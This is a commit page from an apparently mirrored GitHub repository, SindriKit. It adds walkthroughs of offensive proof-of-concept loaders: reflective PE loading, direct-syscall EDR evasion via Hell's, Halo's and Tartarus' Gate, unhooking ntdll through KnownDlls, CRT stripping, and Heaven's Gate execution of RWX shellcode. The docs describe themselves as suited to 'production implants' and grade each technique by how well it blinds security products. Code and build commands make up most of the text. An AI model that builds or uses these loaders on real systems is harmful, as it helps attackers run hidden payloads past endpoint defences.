mirror of
https://github.com/youssefnoob003/SindriKit
synced 2026-07-07 21:57:09 +00:00
You're Gonna Carry That Weight
This commit is contained in:
@@ -0,0 +1,13 @@
|
||||
# Examples & Proof of Concepts
|
||||
|
||||
This directory contains standalone execution wrappers built on top of the SindriKit library.
|
||||
|
||||
## Table of Contents
|
||||
- [loader_winapi.md](loader_winapi.md)
|
||||
Walkthrough of standard reflective loading using noisy Win32 APIs for pipeline validation.
|
||||
- [loader_nowinapi.md](loader_nowinapi.md)
|
||||
Walkthrough of evasive loading using direct syscalls, Hell's Gate, and PEB walking.
|
||||
- [loader_noCRT_nowinapi.md](loader_noCRT_nowinapi.md)
|
||||
Walkthrough of the ultimate evasive profile: stripping the MSVC C Runtime entirely for minimal footprint.
|
||||
- [heavens_gate.md](heavens_gate.md)
|
||||
Walkthrough of transitioning a 32-bit WoW64 process into native 64-bit execution.
|
||||
@@ -0,0 +1,63 @@
|
||||
# PoC: heavens_gate
|
||||
|
||||
**Location:** `pocs/heavens_gate/`
|
||||
|
||||
This PoC demonstrates SindriKit's capability to transition from a 32-bit WoW64 environment into native 64-bit mode using the `0x33` segment selector (Heaven's Gate).
|
||||
|
||||
## What it demonstrates
|
||||
|
||||
- Checking whether the current process is running under WoW64.
|
||||
- Passing a 64-bit function pointer and argument array across the boundary.
|
||||
- Executing 64-bit shellcode from a 32-bit process and retrieving a 64-bit return value in `RAX`.
|
||||
|
||||
## Walkthrough
|
||||
|
||||
Because this primitive relies on the WoW64 subsystem, the PoC is only functional when compiled as a 32-bit executable (`x86`) and run on a 64-bit Windows OS.
|
||||
|
||||
### Step 1: Validate the Environment
|
||||
|
||||
```c
|
||||
if (!snd_is_wow64()) {
|
||||
printf("[-] Not running in WOW64... Heaven's Gate requires WOW64.\n");
|
||||
return SND_STATUS_ARCH_MISMATCH;
|
||||
}
|
||||
```
|
||||
|
||||
The framework parses the PEB to determine if the 32-bit process is being emulated by the 64-bit OS.
|
||||
|
||||
### Step 2: Allocate 64-bit Payload
|
||||
|
||||
For demonstration purposes, this PoC uses `VirtualAlloc` to allocate a simple 64-bit shellcode block that loads a magic value into `RAX` and returns:
|
||||
|
||||
```nasm
|
||||
mov rax, 0x1122334455667788
|
||||
ret
|
||||
```
|
||||
|
||||
```c
|
||||
unsigned char shellcode64[] = {
|
||||
0x48, 0xB8, 0x88, 0x77, 0x66,
|
||||
0x55, 0x44, 0x33, 0x22, 0x11,
|
||||
0xC3
|
||||
};
|
||||
|
||||
PVOID pExec = VirtualAlloc(NULL, sizeof(shellcode64), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
memcpy(pExec, shellcode64, sizeof(shellcode64));
|
||||
```
|
||||
|
||||
### Step 3: Transition and Execute
|
||||
|
||||
The PoC invokes the `snd_hg_execute_64` API, which performs the segment selector transition internally, executes the provided address, and passes back the 64-bit return value.
|
||||
|
||||
```c
|
||||
UINT64 result = 0;
|
||||
|
||||
// Invoke Heaven's Gate with 0 arguments
|
||||
snd_status_t status = snd_hg_execute_64((UINT64)(ULONG_PTR)pExec, 0, NULL, &result);
|
||||
|
||||
if (status.code == SND_SUCCESS) {
|
||||
// result == 0x1122334455667788
|
||||
}
|
||||
```
|
||||
|
||||
**OpSec impact:** Bypassing WoW64 completely blinds any security products that have only placed userland hooks inside the 32-bit `ntdll.dll`. The execution happens entirely in native 64-bit mode.
|
||||
@@ -0,0 +1,58 @@
|
||||
# Evasive Loader (No-CRT / No-WinAPI)
|
||||
|
||||
**Path:** `pocs/loader_noCRT_nowinapi`
|
||||
|
||||
This Proof-of-Concept demonstrates the ultimate operational profile of SindriKit: a reflective loader completely independent of both high-level Windows APIs and the Microsoft C Runtime (CRT). By combining direct syscalls via Hell's Gate, PEB module walking, and the `/NODEFAULTLIB` compiler flag, this loader achieves a minimal, stealthy footprint ideal for production implants.
|
||||
|
||||
## 1. CRT Independence
|
||||
|
||||
When compiled in Release mode (`SND_ENABLE_DEBUG=OFF`), this PoC invokes strict CRT-stripping flags:
|
||||
```cmake
|
||||
target_link_options(loader_noCRT_nowinapi PRIVATE
|
||||
/NODEFAULTLIB
|
||||
/ENTRY:main
|
||||
)
|
||||
```
|
||||
Without the CRT, standard functions like `memcpy` or `memset` are unavailable. SindriKit compensates for this by selectively compiling `src/common/crt_manifest.c` in Release builds, providing framework-native intrinsic fallbacks. This ensures the compiled artifact contains no implicit telemetry or standard library dependencies.
|
||||
|
||||
## 2. Global `ntdll.dll` Resolution
|
||||
|
||||
Because the PoC operates without Win32 APIs (like `GetModuleHandle`), it must resolve its own dependencies manually. It does this by walking the Process Environment Block (PEB) to locate `ntdll.dll` by its compile-time hash.
|
||||
|
||||
```c
|
||||
PVOID ntdll;
|
||||
status = snd_peb_get_module_base_by_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
||||
```
|
||||
|
||||
Once resolved, it globally registers the `ntdll` base using the modules API, allowing the rest of the framework (like the native memory allocator or module loader) to utilize it implicitly.
|
||||
|
||||
```c
|
||||
snd_set_ntdll(ntdll);
|
||||
```
|
||||
|
||||
## 3. Syscall Strategy
|
||||
|
||||
The PoC activates the `snd_hell_extract_syscall` strategy. From this point forward, memory allocations and page protections required during the reflective loading process are executed via dynamically resolved syscalls, entirely bypassing user-land hooks in `ntdll.dll`.
|
||||
|
||||
```c
|
||||
snd_set_syscall_strategy(snd_hell_extract_syscall);
|
||||
```
|
||||
|
||||
## 4. Execution
|
||||
|
||||
Like the other loaders, the context is populated with the Native APIs (`snd_mem_native`, `snd_mod_native`), and the target payload is loaded, mapped, and executed reflectively from memory.
|
||||
|
||||
## Building and Running
|
||||
|
||||
To compile this PoC specifically, ensure you are building in Release mode:
|
||||
|
||||
```bash
|
||||
# Debug must be OFF to strip the CRT
|
||||
cmake -B build -DSND_BUILD_PAYLOADS=ON -DSND_ENABLE_DEBUG=OFF
|
||||
cmake --build build --config Release
|
||||
```
|
||||
|
||||
Execution:
|
||||
```bash
|
||||
build\pocs\loader_noCRT_nowinapi\Release\loader_noCRT_nowinapi.exe
|
||||
```
|
||||
@@ -0,0 +1,71 @@
|
||||
# PoC: loader_nowinapi
|
||||
|
||||
**Location:** `pocs/loader_nowinapi/`
|
||||
|
||||
This PoC drops the entire Win32 API layer. It retrieves a clean `ntdll.dll` from KnownDlls, configures a cascading SSN resolution pipeline, and then loads the payload using only direct kernel syscalls and PEB walking.
|
||||
|
||||
## What it demonstrates
|
||||
|
||||
- The full SindriKit bootstrapping sequence required before any native primitive can be used.
|
||||
- The complete cascading syscall pipeline covering four EDR hook evasion strategies.
|
||||
- That the loader's core logic is entirely unchanged — only the injected API tables differ from `loader_winapi`.
|
||||
|
||||
## Walkthrough
|
||||
|
||||
The bootstrapping phase must complete before the loader context is initialized.
|
||||
|
||||
### Step 1: Retrieve a clean `ntdll.dll` from KnownDlls
|
||||
|
||||
```c
|
||||
PVOID clean_ntdll = NULL;
|
||||
|
||||
// Configure the KnownDlls loader to use Win32 wrappers for the initial bootstrap.
|
||||
// (Native strategy is available once the syscall pipeline itself is armed.)
|
||||
snd_status_t status = snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &clean_ntdll);
|
||||
```
|
||||
|
||||
This maps a clean, pre-hook copy of `ntdll.dll` directly from the `\KnownDlls` Object Manager directory. The EDR's hooks on the PEB-resident copy do not exist in this mapping.
|
||||
|
||||
### Step 2: Feed the clean base to the global cache
|
||||
|
||||
```c
|
||||
snd_set_ntdll(clean_ntdll);
|
||||
```
|
||||
|
||||
This globally registers the unhooked `ntdll.dll` base. It will be used by the syscall resolution pipeline to extract unhooked stub bytes, and by the Native module API (`snd_mod_native`) to implicitly resolve APIs like `LdrLoadDll` without additional PEB lookups.
|
||||
|
||||
### Step 3: Configure the cascading syscall pipeline
|
||||
|
||||
```c
|
||||
snd_set_syscall_strategy(snd_hell_extract_syscall);
|
||||
snd_add_syscall_strategy(snd_halo_extract_syscall);
|
||||
snd_add_syscall_strategy(snd_tartarus_extract_syscall);
|
||||
snd_add_syscall_strategy(snd_veles_extract_syscall);
|
||||
```
|
||||
|
||||
`snd_resolve_syscall` will now attempt each strategy in order, returning on the first success. This covers unhooked stubs (Hell's Gate), `0xE9`-hooked stubs (Halo's Gate), `0xEB`-hooked stubs (Tartarus' Gate), and the `syscall`-anchor fallback (VelesReek).
|
||||
|
||||
### Step 4: Load the payload and initialize the loader context
|
||||
|
||||
```c
|
||||
snd_buffer_t payload = { ... }; // raw PE bytes from disk
|
||||
|
||||
snd_loader_ctx_t ctx = {0};
|
||||
ctx.raw_source = &payload;
|
||||
ctx.mem_api = &snd_mem_native; // -> NtAllocateVirtualMemory via direct syscall
|
||||
ctx.mod_api = &snd_mod_native; // -> PEB walking + manual export table parsing
|
||||
```
|
||||
|
||||
### Step 5: Execute
|
||||
|
||||
```c
|
||||
snd_status_t s = snd_prepare_reflective_image(&ctx);
|
||||
if (s.code != SND_SUCCESS) {
|
||||
snd_status_print(s);
|
||||
return 1;
|
||||
}
|
||||
|
||||
s = snd_execute_reflective_image(&ctx);
|
||||
```
|
||||
|
||||
**OpSec impact:** `VirtualAlloc` and `VirtualProtect` are never called. Memory allocation goes directly to `NtAllocateVirtualMemory` via the SSN resolved from the clean KnownDlls ntdll copy. Import resolution uses PEB walking for module base lookup and manual export table parsing for symbol resolution.
|
||||
@@ -0,0 +1,44 @@
|
||||
# PoC: loader_winapi
|
||||
|
||||
**Location:** `pocs/loader_winapi/`
|
||||
|
||||
This PoC loads a raw PE payload from disk using standard, fully documented Win32 APIs throughout. Every memory operation (`VirtualAlloc`, `VirtualProtect`) and every module operation (`LoadLibraryA`, `GetProcAddress`) hits the standard API layer and any EDR hooks installed on it. It is intended strictly for diagnostic use and pipeline validation, not operational deployment.
|
||||
|
||||
## What it demonstrates
|
||||
|
||||
- The baseline reflective loading pipeline: parse → alloc → map → relocate → resolve imports → protect → TLS → execute.
|
||||
- That the context-based architecture works correctly before introducing evasion complexity.
|
||||
- A clean baseline to diff against when debugging why a stealth variant fails.
|
||||
|
||||
## Walkthrough
|
||||
|
||||
No syscall bootstrapping is required. The setup reduces to injecting the Win32-backed API tables and calling the execution chain wrapper:
|
||||
|
||||
```c
|
||||
// Read the raw PE payload from disk into a buffer
|
||||
snd_buffer_t payload = { ... };
|
||||
|
||||
// Initialize the loader context with Win32 primitives
|
||||
snd_loader_ctx_t ctx = {0};
|
||||
ctx.raw_source = &payload;
|
||||
ctx.mem_api = &snd_mem_win; // -> VirtualAlloc / VirtualProtect
|
||||
ctx.mod_api = &snd_mod_win; // -> LoadLibraryA / GetProcAddress
|
||||
|
||||
// Run the full prepare chain (parse, alloc, map, relocate, IAT, protect, TLS)
|
||||
snd_status_t s = snd_prepare_reflective_image(&ctx);
|
||||
if (s.code != SND_SUCCESS) {
|
||||
snd_status_print(s);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Execute the entry point
|
||||
s = snd_execute_reflective_image(&ctx);
|
||||
if (s.code != SND_SUCCESS) {
|
||||
snd_status_print(s);
|
||||
}
|
||||
|
||||
// Optional cleanup
|
||||
snd_free_mapped_image(&ctx);
|
||||
```
|
||||
|
||||
**OpSec impact:** Every allocation and protection change is made via documented Win32 APIs. Any EDR with userland hooks on `VirtualAlloc` and `VirtualProtect` will see every operation in full. String artifacts from `LoadLibraryA` calls appear in the call stack. This profile is an absolute EDR flare.
|
||||
Reference in New Issue
Block a user